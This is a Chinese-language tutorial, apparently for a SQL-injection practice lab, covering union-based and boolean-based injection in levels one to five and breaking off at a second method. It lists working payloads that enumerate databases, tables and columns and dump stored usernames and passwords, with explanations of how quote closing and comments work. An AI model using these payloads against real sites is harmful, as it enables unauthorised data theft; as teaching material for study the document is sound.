大多情況下:SQL注入其實就是構造正確的mysql命令,讓網頁回顯本不應該讓我們看到的數據(如用戶的賬號和密碼)。
第一關-聯合查詢注入 |
-
查庫
// 查看當前頁面在的數據庫
?id=-1' union select 1,2,database();--+
//一個一個的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有數據庫
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
-
查表
//一個一個的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
-
查字段
//一個一個的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
-
查值
//一個一個的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析 |
-
原理
當我們傳入參數id=1時,其實在后台執行的代碼是
SELECT * FROM users WHERE id='1' LIMIT 0,1;
以查庫為例,在mysql中我們要想知道當前我們所處的數據庫名稱會用database()
函數,數據庫會返回當前所在庫名
那么我們怎么讓網頁返回的值是我們想要其他的的值呢?
顯然我們要在輸入1的位置做文章
?id=1'--+ (其中的單引號‘ ' ’用來閉合id,--+注釋符把后面的命令注釋掉)
這樣可以執行成功,此時后台執行的代碼是
SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;
--+后面的語句被注釋已失效,顯然SELECT * FROM users WHERE id='1';是一條完整且正確的命令 -
開始構造
我們采用聯合查詢語句繼續構造
輸入
?id=-1' union select 1,2,database();--+
顯然數據的id是從1開始編寫的,id=-1肯定不存在,默認返回‘執行后面的命令獲得的數據’
此時后台執行
SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;
顯然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一條完整且正確的命令
但是當我們注入某個網站時,用戶的賬號密碼不一定就在‘網頁當前所在數據庫’里啊。其他的數據庫名字我又不知道在怎么辦?
查!
同樣的我們構造
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一個一個的查
這是一條通用命令,即查詢數據庫中所有庫的名字
limit 1,1
表示從第一條數據開始數,下一條數據
當然也可以
limit 1,2 第三條數據
limit 1,3 第四條數據
...
從而遍歷出所有數據 -
什么?太麻煩了
我們可以用grup_concat()
一次查出所有數據,顯然limit 1,1就沒用了--> 扔掉!
用法:把查的內容用函數包裹即可
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
接着,同樣的道理
查表
查字段
(略)...
第二關-聯合查詢注入 |
id= 1
第三關-聯合查詢注入 |
id= (' 1 ')
第四關-聯合查詢注入 |
id的閉合方式變為
id= (" 1 ")
第五關-BOOL型注入 |
-
方法一
?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+
把 database()
部分換做
查庫
select schema_name from information_schema.schemata limit 1,1
查表
select table_name from information_schema.tables limit 1,1
查字段
select table_name from information_schema.columns limit 1,1
查數據
select password from security.users limit 1,1
-
方法二